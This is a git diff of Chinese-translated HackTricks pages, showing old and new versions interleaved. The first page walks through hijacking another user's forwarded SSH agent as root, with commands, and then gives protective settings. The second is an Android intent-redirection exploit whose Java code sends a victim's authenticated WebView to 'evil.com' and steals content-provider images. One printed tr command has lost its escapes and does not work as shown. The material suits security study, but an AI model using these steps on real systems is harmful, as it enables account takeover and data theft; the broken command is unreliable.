* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,71 +1,71 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 概要
|
||||
# 摘要
|
||||
|
||||
如果您在`/etc/ssh_config`或`$HOME/.ssh/config`配置文件中发现以下内容,您可以做什么:
|
||||
```
|
||||
ForwardAgent yes
|
||||
```
|
||||
如果您是机器内的root用户,您可能可以**访问在_/tmp_目录中找到的任何代理所做的任何ssh连接**
|
||||
如果您是机器内的root用户,您可能可以访问在/tmp目录中找到的任何代理生成的ssh连接
|
||||
|
||||
使用Bob的一个ssh-agent冒充Bob:
|
||||
使用Bob的ssh-agent之一冒充Bob:
|
||||
```bash
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
```
|
||||
## 为什么这样做有效?
|
||||
## 为什么会生效?
|
||||
|
||||
当你设置变量 `SSH_AUTH_SOCK` 时,你正在访问 Bob 在他的 ssh 连接中使用的密钥。然后,如果他的私钥还在(通常会在的),你将能够使用它访问任何主机。
|
||||
当你设置变量 `SSH_AUTH_SOCK` 时,你正在访问 Bob 的密钥,这些密钥已经在 Bob 的 ssh 连接中使用过。然后,如果他的私钥仍然存在(通常会存在),你将能够使用它来访问任何主机。
|
||||
|
||||
由于私钥是以未加密的形式保存在代理的内存中,我认为,如果你是 Bob 但你不知道私钥的密码,你仍然可以访问代理并使用它。
|
||||
由于私钥以未加密的方式保存在代理的内存中,我认为如果你是 Bob,但不知道私钥的密码,你仍然可以访问代理并使用它。
|
||||
|
||||
另一个选项是,代理的用户所有者和 root 可能能够访问代理的内存并提取私钥。
|
||||
另一个选项是,代理的用户所有者和 root 用户可能能够访问代理的内存并提取私钥。
|
||||
|
||||
# 详细解释和利用
|
||||
# 长说明和利用
|
||||
|
||||
**引自:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
**将此帖子作为已删除帖子的存档:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
|
||||
## **当 ForwardAgent 不可信时**
|
||||
## **当无法信任 ForwardAgent 时**
|
||||
|
||||
SSH 免密码登录使得 Unix 类操作系统的生活变得更加轻松。如果你的网络需要链式 ssh 会话(例如,访问受限网络),代理转发变得极其有用。通过代理转发,我可以从我的笔记本电脑连接到我的开发服务器,然后从那里运行 svn 检出操作,从另一个服务器上获取数据,整个过程无需密码,同时我的私钥安全地保存在我的本地工作站上。
|
||||
无密码的 SSH 使得在类 Unix 操作系统上的生活变得更加轻松。如果您的网络需要链接的 ssh 会话链(例如,访问受限网络),代理转发变得非常有帮助。通过代理转发,我可以从我的笔记本电脑连接到开发服务器,然后从那里运行另一个服务器的 svn checkout,所有这些都不需要密码,同时保持我的私钥安全存储在本地工作站上。
|
||||
|
||||
然而,这可能是危险的。快速的网络搜索将揭示几篇文章,表明这只有在中间主机可信的情况下才是安全的。然而,你很少会找到解释 _为什么_ 这是危险的。
|
||||
然而,这可能是危险的。快速的网络搜索将会显示几篇文章指出,只有中间主机是可信的时,这才是安全的。然而,很少会找到解释为什么这是危险的。
|
||||
|
||||
这就是本文的目的。但首先,一些背景知识。
|
||||
|
||||
## **如何无密码认证工作**
|
||||
## **无密码身份验证的工作原理**
|
||||
|
||||
在正常模式下认证时,SSH 使用你的密码来证明你就是你所说的那个人。服务器将这个密码的哈希值与其文件中的哈希值进行比较,验证哈希值是否匹配,然后让你进入。
|
||||
在正常模式下进行身份验证时,SSH 使用您的密码来证明您是您所说的那个人。服务器将此密码的哈希与其存档中的哈希进行比较,验证哈希是否匹配,然后让您进入。
|
||||
|
||||
如果攻击者能够破解用于保护你的密码在传输到服务器过程中的加密,他们可以窃取它,并且随时以你的身份登录。如果攻击者被允许进行数十万次尝试,他们最终可以猜出你的密码。
|
||||
如果攻击者能够破解用于保护密码的加密,他们可以窃取密码并随时以您的身份登录。如果攻击者被允许执行数十万次尝试,他们最终可以猜出您的密码。
|
||||
|
||||
一种更安全的认证方法是[公钥认证](http://www.ibm.com/developerworks/library/l-keyc/index.html),这是一种无需密码登录的方式。公钥认证需要一对匹配的公钥和私钥。公钥加密的消息只能由私钥解密。远程计算机使用它的公钥副本来加密一个秘密消息发送给你。你通过使用你的私钥解密消息并将消息发送回远程计算机来证明你就是你。你的私钥始终安全地保存在你的本地计算机上,免受攻击。
|
||||
一种更安全的身份验证方法是[公钥身份验证](http://www.ibm.com/developerworks/library/l-keyc/index.html),一种无需密码登录的方式。公钥身份验证需要一对匹配的公钥和私钥。公钥加密消息,只能使用私钥解密。远程计算机使用您的公钥的副本来加密发送给您的秘密消息。您通过使用私钥解密消息并将消息发送回远程计算机来证明您是您。您的私钥在整个过程中始终安全地存储在本地计算机上,免受攻击。
|
||||
|
||||
私钥非常宝贵,必须受到保护,因此默认情况下它是以加密格式存储的。不幸的是,这意味着在使用它之前需要输入你的加密密码短语。许多文章建议使用无密码短语(未加密)的私钥来避免这种不便。这是一个坏主意,因为任何能够访问你工作站的人(通过物理访问、盗窃或黑客攻击)现在也可以自由访问任何配置了你公钥的计算机。
|
||||
私钥很有价值,必须受到保护,因此默认情况下以加密格式存储。不幸的是,这意味着在使用之前必须输入加密密码。许多文章建议使用无密码(未加密)私钥以避免这种不便。这是一个坏主意,因为任何可以访问您工作站的人(通过物理访问、盗窃或黑客攻击)现在也可以自由访问任何配置了您公钥的计算机。
|
||||
|
||||
OpenSSH 包括 [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent),一个在你的本地工作站上运行的守护进程。它将解密的私钥副本加载到内存中,所以你只需要输入一次你的密码短语。然后它提供一个本地[套接字](http://en.wikipedia.org/wiki/Unix\_domain\_socket),ssh 客户端可以使用它来请求它解密远程服务器发送回来的加密消息。你的私钥安全地藏在 ssh-agent 进程的内存中,同时仍然允许你在不输入密码的情况下进行 ssh 操作。
|
||||
OpenSSH 包括[ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent),一个在本地工作站上运行的守护程序。它将您的私钥的解密副本加载到内存中,因此您只需输入一次密码。然后,它提供一个本地[套接字](http://en.wikipedia.org/wiki/Unix\_domain\_socket),ssh 客户端可以使用它来请求解密远程服务器发送回来的加密消息。您的私钥在 ssh-agent 进程的内存中安全地保留,同时允许您在不输入密码的情况下进行 ssh。
|
||||
|
||||
## **ForwardAgent 是如何工作的**
|
||||
## **ForwardAgent 的工作原理**
|
||||
|
||||
许多任务需要“链式”ssh 会话。考虑我之前的例子:我从我的工作站 ssh 到开发服务器。在那里,我需要执行 svn 更新,使用“svn+ssh”协议。由于在共享服务器上留下未加密的私钥副本是愚蠢的,我现在只能使用密码认证。然而,如果我在我的工作站上的 ssh 配置中启用了“ForwardAgent”,ssh 将使用其内置的隧道功能在开发服务器上创建另一个套接字,该套接字通过隧道连接回我本地工作站上的 ssh-agent 套接字。这意味着开发服务器上的 ssh 客户端现在可以直接将“解密这个秘密消息”的请求发送回我工作站上运行的 ssh-agent,从而在不需要访问我的私钥的情况下对 svn 服务器进行认证。
|
||||
许多任务需要“链接”ssh 会话。考虑我之前的示例:我从我的工作站 ssh 到开发服务器。在那里,我需要执行 svn 更新,使用“svn+ssh”协议。由于在共享服务器上留下一个未加密的超级秘密私钥副本是愚蠢的,现在我被困在密码身份验证中。但是,如果我在工作站的 ssh 配置中启用了“ForwardAgent”,ssh 将使用其内置的隧道功能在开发服务器上创建另一个套接字,该套接字被隧道返回到我本地工作站上的 ssh-agent 套接字。这意味着开发服务器上的 ssh 客户端现在可以直接向运行在我工作站上的 ssh-agent 发送“解密此秘密消息”的请求,向 svn 服务器进行身份验证,而无需访问我的私钥。
|
||||
|
||||
## **为什么这可能是危险的**
|
||||
|
||||
简单来说,任何在中间服务器上拥有 root 权限的人都可以自由使用你的 ssh-agent 对其他服务器进行认证。一个简单的演示展示了这样做有多么容易。为了保护无辜者,主机名和用户名已被更改。
|
||||
简而言之,任何具有中间服务器上的 root 权限的人都可以自由使用您的 ssh-agent 来对其他服务器进行身份验证。一个简单的演示展示了这可以多么轻松地实现。主机名和用户名已更改以保护无辜者。
|
||||
|
||||
我的笔记本电脑正在运行 ssh-agent,它通过一个套接字与 ssh 客户端程序通信。这个套接字的路径存储在 SSH\_AUTH\_SOCK 环境变量中:
|
||||
我的笔记本电脑正在运行 ssh-agent,它通过套接字与 ssh 客户端程序通信。此套接字的路径存储在 SSH_AUTH_SOCK 环境变量中:
|
||||
```
|
||||
mylaptop:~ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
||||
|
@ -73,24 +73,24 @@ SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
|||
mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
|
||||
srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners
|
||||
```
|
||||
[ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) 程序允许我们查看和与代理中的密钥进行交互:
|
||||
[ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)程序允许我们查看和与代理中的密钥进行交互:
|
||||
```
|
||||
mylaptop:~ alice$ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
我在笔记本电脑的 \~/.ssh/config 中设置了 “ForwardAgent yes”。因此,ssh 将创建一个隧道,将本地套接字连接到远程服务器上的本地套接字:
|
||||
我在我的笔记本电脑的\~/.ssh/config文件中设置了“ForwardAgent yes”。因此,ssh将创建一个连接本地套接字与远程服务器上的本地套接字的隧道:
|
||||
```
|
||||
mylaptop:~ alice$ ssh seattle
|
||||
|
||||
seattle:~ $ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
|
||||
```
|
||||
即使我的密钥没有安装在“seattle”上,ssh客户端程序仍然能够访问在我本地机器上运行的代理:
|
||||
即使我的密钥未安装在“seattle”上,ssh客户端程序仍然能够访问在我的本地机器上运行的代理:
|
||||
```
|
||||
seattle:~ alice $ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
所以...我们能搞谁?
|
||||
那么...我们可以干扰谁呢?
|
||||
```
|
||||
seattle:~ alice $ who
|
||||
alice pts/0 2012-04-06 18:24 (office.example.com)
|
||||
|
@ -102,7 +102,7 @@ charlie pts/23 2012-04-06 13:10 (office.example.com)
|
|||
charlie pts/27 2012-04-03 12:32 (office.example.com)
|
||||
bob pts/29 2012-04-02 10:58 (office.example.com)
|
||||
```
|
||||
我从来不喜欢Bob。为了找到他的代理连接,我需要找到他的一个ssh会话的子进程:
|
||||
我从来不喜欢鲍勃。要找到他的代理连接,我需要找到他一个ssh会话的子进程:
|
||||
```
|
||||
seattle:~ alice $ sudo -s
|
||||
[sudo] password for alice:
|
||||
|
@ -112,27 +112,29 @@ sshd(16816)───bash(16817)
|
|||
|
||||
sshd(25296)───bash(25297)───vim(14308)
|
||||
```
|
||||
在Linux中,有几种方法可以让root查看正在运行的进程的环境。数据可在 `/proc/<pid>/environ` 中找到。由于数据以NULL结尾的字符串存储,我将使用 `tr` 命令将NULL转换为换行符:
|
||||
有几种方法可以让 root 查看运行进程的环境。在 Linux 上,数据可以在 /proc/<pid>/environ 中找到。由于数据是以 NULL 结尾的字符串存储的,我会使用 tr 命令将 NULL 转换为换行符:
|
||||
```
|
||||
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
|
||||
```
|
||||
我现在已经掌握了劫持Bob的ssh-agent所需的所有信息:
|
||||
我现在已经掌握了劫持Bob的ssh-agent所需的一切信息:
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
|
||||
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
|
||||
```
|
||||
如果我有一个特定的目标,我现在应该能够直接连接。否则,只需观察进程列表或通过Bob的历史文件进行grep搜索,应该会发现很多机会目标。在这种情况下,我知道Bob在名为“boston”的服务器上存储了各种超级机密文件:
|
||||
如果我有特定目标,现在应该能直接连接。否则,只需观察进程列表或在Bob的历史文件中进行搜索,就会发现很多机会目标。在这种情况下,我知道Bob在名为“boston”的服务器上存储了各种超级机密文件:
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
bob@boston:~$ whoami
|
||||
bob
|
||||
```
|
||||
我已成功利用“seattle”上的root权限访问“boston”上的bob。我打赌我可以利用这一点让他被解雇。
|
||||
|
||||
## **保护自己!**
|
||||
|
||||
不要让你的ssh-agent无限期地存储你的密钥。在OS X上,配置你的Keychain在不活动或屏幕锁定后锁定。在其他Unix-y平台上,传递-t选项给ssh-agent,这样它的密钥将在秒后被移除。
|
||||
不要让你的ssh-agent无限期存储你的密钥。在OS X上,配置你的Keychain在不活动或屏幕锁定时锁定。在其他类Unix平台上,传递 -t 选项给ssh-agent,这样它的密钥将在 n 秒后被移除。
|
||||
|
||||
在连接到不可信的主机时,不要启用代理转发。幸运的是,\~/.ssh/config语法使这变得相当简单:
|
||||
在连接到不受信任的主机时不要启用代理转发。幸运的是,\~/.ssh/config 语法使这变得相当简单:
|
||||
```
|
||||
Host trustworthyhost
|
||||
ForwardAgent yes
|
||||
|
@ -144,22 +146,22 @@ ForwardAgent no
|
|||
```
|
||||
## **推荐阅读**
|
||||
|
||||
* [OpenSSH 密钥管理](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins
|
||||
* [SSH 代理转发图解指南](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
|
||||
* [ssh-agent 手册](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
||||
* [ssh-add 手册](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
||||
* [OpenSSH密钥管理](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins
|
||||
* [Illustrated Guide to SSH Agent Forwarding](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
|
||||
* [ssh-agent手册](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
||||
* [ssh-add手册](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,268 +1,31 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>零基础学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来 **分享您的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**研究取自** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
||||
|
||||
# 介绍
|
||||
|
||||
这个漏洞类似于 **Web安全中的开放重定向**。由于`Intent`类是`Parcelable`,**属于这个类的对象**可以作为**额外的** **数据**传递给另一个`Intent`对象。\
|
||||
许多开发者利用这个**特性**创建**代理** **组件**(活动、广播接收器和服务),它们**接收一个嵌入的Intent并将其传递给危险方法**,如`startActivity(...)`、`sendBroadcast(...)`等。\
|
||||
这是危险的,因为**攻击者可以强迫应用启动一个非导出组件,该组件不能直接从另一个应用启动**,或者授予攻击者访问其内容提供者的权限。**`WebView`** 有时也会将**URL从字符串更改为`Intent`**对象,使用`Intent.parseUri(...)`方法,并将其传递给`startActivity(...)`。
|
||||
|
||||
{% hint style="info" %}
|
||||
总结:如果攻击者可以发送一个不安全执行的Intent,他可能会访问未导出的组件并滥用它们。
|
||||
{% endhint %}
|
||||
|
||||
# 典型案例
|
||||
|
||||
让我们来看一个例子。`AndroidManifest.xml`文件的片段
|
||||
```markup
|
||||
<activity android:name=".ProxyActivity" android:exported="true" />
|
||||
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
||||
```
|
||||
Activity `ProxyActivity`
|
||||
```java
|
||||
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
||||
```
|
||||
Activity `AuthWebViewActivity`
|
||||
```java
|
||||
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
||||
```
|
||||
`AuthWebViewActivity` 是一个例子,展示了**隐藏的应用功能执行某些不安全的操作**,在这种情况下,将用户的认证会话传递给从 `url` 参数获得的 URL。
|
||||
|
||||
出口限制意味着**攻击者无法直接访问 `AuthWebViewActivity`**。一个直接调用
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
startActivity(intent);
|
||||
```
|
||||
抛出一个`java.lang.SecurityException`,因为`Permission Denial`:`AuthWebViewActivity`没有从uid 1337导出。
|
||||
|
||||
但是攻击者可以**强迫受害者启动`AuthWebViewActivity`本身**:
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
extra.putExtra("url", "http://evil.com/");
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
# 权限提升的影响
|
||||
|
||||
为了提升这个漏洞的影响,你需要**找到其他漏洞/配置错误,这些漏洞/配置错误可以增加漏洞的影响**(因为单独的漏洞并没有产生任何风险)。
|
||||
|
||||
## 通过内容提供者提升攻击
|
||||
|
||||
除了访问原始应用程序的任意组件外,**攻击者可以尝试访问那些满足以下条件的受影响应用程序的内容提供者**:
|
||||
|
||||
* 它必须是**非导出的**(否则可以**直接攻击**,无需使用我们在本文中讨论的漏洞)
|
||||
* 它必须设置了**`android:grantUriPermissions`** 标志为 **`true`**。
|
||||
* `android:grantUriPermissions="true"` 表示你的 Java 代码可以对该 `ContentProvider` 提供的**任何 `Uri`** 使用 `FLAG_GRANT_READ_URI_PERMISSION` 和 `FLAG_GRANT_WRITE_URI_PERMISSION`。
|
||||
* `android:grantUriPermissions="false"` 表示**只有 `<grant-uri-permission>` 子元素指定的 `Uri` 值**可以使用 `FLAG_GRANT_READ_URI_PERMISSION` 和 `FLAG_GRANT_WRITE_URI_PERMISSION`。
|
||||
|
||||
攻击者必须将自己设置为嵌入意图的接收者,并设置以下标志
|
||||
|
||||
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` 允许持久访问提供者(没有这个标志,访问只是一次性的)
|
||||
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` 允许通过前缀访问 URI - 例如,攻击者可以使用 URI `content://com.victim.provider/` 授予对提供者所有内容的访问权限,而不是反复使用完整路径如 `content://com.victim.provider/image/1` 单独获取访问权限,然后使用 `ContentResolver` 来访问 `content://com.victim.provider/image/1`,`content://com.victim.provider/image/2` 等。
|
||||
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` 允许对提供者进行读操作(如 `query`,`openFile`,`openAssetFile`)
|
||||
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` 允许写操作
|
||||
|
||||
一个典型的提供者示例,攻击者可以获得对其的访问权限,并执行常规操作,如 `query`,`update`,`insert`,`delete`,`openFile`,`openAssetFile`
|
||||
```markup
|
||||
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
||||
```
|
||||
示例:盗取用户图片的 `AndroidManifest.xml` 文件
|
||||
```markup
|
||||
<activity android:name=".LeakActivity" android:exported="true" />
|
||||
```
|
||||
`MainActivity.java` 文件
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
||||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||||
extra.setData(Uri.parse("content://com.victim.provider/"));
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
`LeakActivity.java`
|
||||
```java
|
||||
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
||||
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
||||
```
|
||||
## 攻击 Android 文件提供者
|
||||
|
||||
这个漏洞也使得攻击者能够**窃取位于开发者预定目录中的应用文件**。为了成功攻击,恶意应用需要**获取对 Android 文件提供者的访问权限,然后使用 Android ContentResolver 读取文件提供者的内容**。
|
||||
|
||||
示例文件提供者(更多详情见 [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
|
||||
```markup
|
||||
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
||||
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
||||
</provider>
|
||||
```
|
||||
它提供对特定列表中文件的读/写访问权限,该列表可以在应用资源中找到,在这种情况下位于 `res/xml/provider_paths.xml`
|
||||
|
||||
它可能看起来有点像
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<paths>
|
||||
<root-path name="root" path=""/>
|
||||
<files-path name="internal_files" path="."/>
|
||||
